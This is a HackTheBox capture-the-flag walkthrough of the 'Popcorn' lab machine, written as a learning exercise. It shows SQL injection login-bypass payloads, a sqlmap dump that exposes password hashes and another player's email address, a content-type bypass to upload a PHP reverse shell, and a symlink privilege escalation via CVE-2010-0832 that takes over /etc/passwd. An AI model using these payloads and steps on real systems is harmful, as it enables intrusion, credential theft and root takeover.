HackTheBox - Popcorn Walkthrough

July 16, 2019

Popcorn

Let’s get some Popcorn and watch a movie! :)

1. Recon and Information gathering

Nmap

# Nmap 7.70SVN scan initiated Sat Jul 13 20:36:07 2019 as: nmap -sV -sC -oN base_tcp.nmap 10.10.10.6
Nmap scan report for 10.10.10.6
Host is up (0.037s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.1p1 Debian 6ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 3e:c8:1b:15:21:15:50:ec:6e:63:bc:c5:6b:80:7b:38 (DSA)
|_  2048 aa:1f:79:21:b8:42:f4:8a:38:bd:b8:05:ef:1a:07:4d (RSA)
80/tcp open  http    Apache httpd 2.2.12 ((Ubuntu))
|_http-server-header: Apache/2.2.12 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

SERVICES

SSH

Skipping this for now.

HTTP

On port 80 I have a default Apache web page. Guess some dirbusting is needed :)

Dir busting
root@pop-os:/home/plamer/hackthebox/popcorn# gobuster dir -w /opt/wordlists/dir/big.txt -u http://10.10.10.6/
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.6/torrent/
[+] Threads:        10
[+] Wordlist:       /opt/wordlists/dir/big.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2019/07/16 00:01:34 Starting gobuster
===============================================================
/.htaccess (Status: 403)
/.htpasswd (Status: 403)

/cgi-bin/ (Status: 403)
/index (Status: 200)
/rename (Status: 301)
/test (Status: 200)
/test.php (Status: 200)
/torrent (Status: 301)
/server-status (Status: 403)

Going after the torrent folder I get quite the list:

root@pop-os:/hackthebox/popcorn# gobuster dir -w /opt/wordlists/dir/big.txt -u http://10.10.10.6/torrent/
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.6/torrent/
[+] Threads:        10
[+] Wordlist:       /opt/wordlists/dir/big.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2019/07/16 00:01:34 Starting gobuster
===============================================================
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/admin (Status: 301)
/browse (Status: 200)
/comment (Status: 200)
/config (Status: 200)
/css (Status: 301)
/database (Status: 301)
/download (Status: 200)
/edit (Status: 200)
/health (Status: 301)
/hide (Status: 200)
/images (Status: 301)
/index (Status: 200)
/js (Status: 301)
/lib (Status: 301)
/login (Status: 200)
/logout (Status: 200)
/preview (Status: 200)
/readme (Status: 301)
/rss (Status: 200)
/secure (Status: 200)
/stylesheet (Status: 200)
/templates (Status: 301)
/thumbnail (Status: 200)
/torrents (Status: 301)
/upload (Status: 301)
/upload_file (Status: 200)
/users (Status: 301)
/validator (Status: 200)
WebApp

/torrent/ - A torrent app? Guess my way in is through this.

Rename function

/rename/ - Rename function? It maybe useful later? For.. like moving empty index.php files, so we can check the directory content ;)

Info php

/test.php - info.php, php 5.2 with Suhosin

2. Initial foothold/low priv user

So, I have a rename function:

http://10.10.10.6/rename/index.php?filename=/var/www/torrent/config.php&newfilename=/var/www/torrent/config.php.txt

And I get some credentials… aand they don’t work as a login for the web site nor ssh

  $CFG->host = "localhost";
  $CFG->dbName = "torrenthoster";	//db name
  $CFG->dbUserName = "torrent";    //db username
  $CFG->dbPassword = "SuperSecret!!";	//db password

Not really useful :/

Back to the webapp and the login. Let’s try some basic SQLi with burp:

POST /torrent/login.php HTTP/1.1
Host: 10.10.10.6
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 24
Connection: close
Referer: http://10.10.10.6/torrent/login.php
Cookie: /torrent/=; /torrent/login.php=; PHPSESSID=b4c66adf337b8e3209f42e7fa3b983e7
Upgrade-Insecure-Requests: 1

username='&password=root


HTTP/1.1 200 OK
Date: Sun, 14 Jul 2019 17:42:50 GMT
Server: Apache/2.2.12 (Ubuntu)
X-Powered-By: PHP/5.2.10-2ubuntu6.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 420
Connection: close
Content-Type: text/html

<h2>Can't execute query</h2><pre>
	SELECT userName, password, privilege, email
	FROM users
	WHERE userName = ''' AND password = '63a9f0ea7bb98050796b649e85481845'
	</pre><p><b>MySQL Error</b>: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '63a9f0ea7bb98050796b649e85481845'' at line 3<p>This script cannot continue, terminating.

Yikes! I now know how does the SQL query looks - SELECT userName, password, privilege, email.... With a simple SQLi for the user field and I find myself logged in as Admin - username=' OR '1'='1';-- -&password=flame_n. There’s not much to do even as Admin (so I could’ve just signed up, but where’s the fun in that :) ), so let’s get the request from burp, save it to a file and then run sqlmap, dump the torrenthoster db and see if there’s something else interesting in the database:

sqlmap -r login.req --batch --dump torrenthoster
<...>

[3 entries]
+----+--------------------------------+---------------------+----------+---------------------------------------------+-----------+---------------------+
| id | email                          | joined              | userName | password                                    | privilege | lastconnect         |
+----+--------------------------------+---------------------+----------+---------------------------------------------+-----------+---------------------+
| 3  | admin@yourdomain.com           | 2007-01-06 21:12:46 | Admin    | d5bfedcee289e5e05b86daad8ee3e2e2            | admin     | 2007-01-06 21:12:46 |
| 5  | flame@htb.tu                   | 2019-07-14 12:28:21 | flame    | 599dd3c7d37cb5e2d5045b60c9b95df4 (flame)    | user      | 2019-07-14 12:28:21 |
| 6  | leonardo.porpora2000@gmail.com | 2019-07-14 17:36:19 | lol      | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | user      | 2019-07-14 17:36:19 |
+----+--------------------------------+---------------------+----------+---------------------------------------------+-----------+---------------------+

SQLMap cracked mine and guess some other player’s passwords, but not Admin’s and sadly I couldn’t crack it with rockyou.

Let’s poke a bit more…. While I tried to write to a file I got mysql access error for user torrent:

username=' UNION SELECT 'test',2,3,4 INTO OUTFILE '/var/www/torrent/upload/test.txt';-- -&password=flame_n

</pre><p><b>MySQL Error</b>: Access denied for user 'torrent'@'localhost' (using password: YES)<p>This script cannot continue, terminating.

Not sure if I’m doing it wrong or it isn’t supposed to work :)

A bit more enumeration and this pops up: http://10.10.10.6/torrent/database/th_database.sql but I already have db dump from SQLMap, not really useful.

CMD shell upload

Let’s try the upload functionality - both for torrents and for images/screenshots. Uploading a php instead of torrent failed (without modificaiton). I’ll try prepending the torrent in my php shell and then try again:

root@pop-os:~/hackthebox/popcorn# cp /pentest/vulnerability-analysis/fuzzdb/web-backdoors/php/php-reverse-shell.php .
root@pop-os:~/hackthebox/popcorn# cat kali.torrent > shell.php
root@pop-os:~/hackthebox/popcorn# cat php-reverse-shell.php >> shell.php 

And then use burp to intercept the upload request and change the type from application/x-php to application/x-bittorrent. It uploaded successfully but, then used the rename function on the uploaded file - http://10.10.10.6/rename/index.php?filename=/var/www/torrent/torrents/27640fb71cfe660d81743e700ff26fc74ab1e3a0.btf&newfilename=/var/www/torrent/torrents/shell.php aand it failed :/ that’s it. It looks like a dead end. But when I tried the same (but just prepending the fist 20 bytes from a png) to the shell, intercepting with burp, changing the type to image and uploading it - this time it worked!

root@pop-os:~/hackthebox/popcorn# cat flame.png | head -c 20 > shell2.php
root@pop-os:~/hackthebox/popcorn# cat php-reverse-shell.php >> shell2.php 

The shell is uploaded to torrent/upload with a generated name, but with .php extension! After I have a backdoor/rev shell on the host let’s try connecting back to my attack machine ((netcat listener):

http://10.10.10.6/torrent/upload/d753474242004aac8ca7452a9e5f7eca569ae61c.php

Aaand Pop! Got a shell back one last thing before enumerating the system from inside - as I’m not a monster I’ll first upgrade my shell:

python -c 'import pty;pty.spawn("/bin/bash")'

CTRL+z

stty raw -echo
fg
reset

and set the term as xterm. Now I can use ctrl+c and tab as a normal person!

Low priv enum

/etc/passwd:

www-data@popcorn:/dev/shm$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
landscape:x:102:105::/var/lib/landscape:/bin/false
sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin
george:x:1000:1000:George Papagiannopoulos,,,:/home/george:/bin/bash
mysql:x:104:113:MySQL Server,,,:/var/lib/mysql:/bin/false

I have one low-priv user - george, and his flag is world readable:

Get the flag

www-data@popcorn:/dev/shm$ cat /home/george/user.txt 
<...>

LinEnum

-rw-rw-rw- 1 root root 165 Jul 15 16:51 /var/run/motd

Hm, that got my attention and I decided to search a bit if it’s normal since I know ubuntu uses dynamic motd, which is assembled from multiple scripts at login. Searching for ubuntu /var/run/motd vulnerability got me a result for CEV-2010-0832 - slightly different, but still connected with pam-motd? Yup! Basically it’s a bug as old as the world itself… (well, not really, just 2010) - On successfull ssh PAM checks ~/.cache for ownership (for writing/displaying MOTD etc.) and chowns it to the user, but the problem is it does so blindly, without checking first, for example, if ~/.cache is a symlink to something owned by root, like /etc/passwd or /etc/shadow and so on - you get the point. So by removing the original directory and creating a symlink to /etc/passwd, then generating public/private key pair and adding it to ~/.ssh/authorized_keys and ssh-ing to localhost I get ownership of /etc/passwd and can change the root password (for backward compatibility you can set the password in /etc/password, instead of using x and setting it up in /etc/shadow):

www-data@popcorn:~$ ssh-keygen 
Generating public/private rsa key pair.
Enter file in which to save the key (/var/www/.ssh/id_rsa): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /var/www/.ssh/id_rsa.
Your public key has been saved in /var/www/.ssh/id_rsa.pub.
...

www-data@popcorn:~$ cp /var/www/.ssh/id_rsa.pub /var/www/.ssh/authorized_keys
www-data@popcorn:~$ rm -rf .cache
www-data@popcorn:~$ ln -s /etc/passwd .cache
www-data@popcorn:~$ ssh localhost
$ ls -lah /etc/passwd
-rw-r--r-- 1 www-data www-data 1.1K 2017-03-17 19:07 /etc/passwd

Then I generated my password and added it in the second field of the file:

root@pop-os:/hackthebox/popcorn# perl -e 'print crypt("flamen", "salt"),"\n"'
sa/zAjIC0QWtk
$ vim /etc/passwd
$ su -
Password: 
root@popcorn:~# id
uid=0(root) gid=0(root) groups=0(root)
root@popcorn:~# cat /root/root.txt 
<...>

Since it’s an old box I could try dirty cow here, but… that’s no fun so I’ll submit my flags and move on the next box :)

I enjoyed this box! No metasploit and “point-and-shoot” solutions - it’s still easy, but way more interesting that the previous 2 boxes.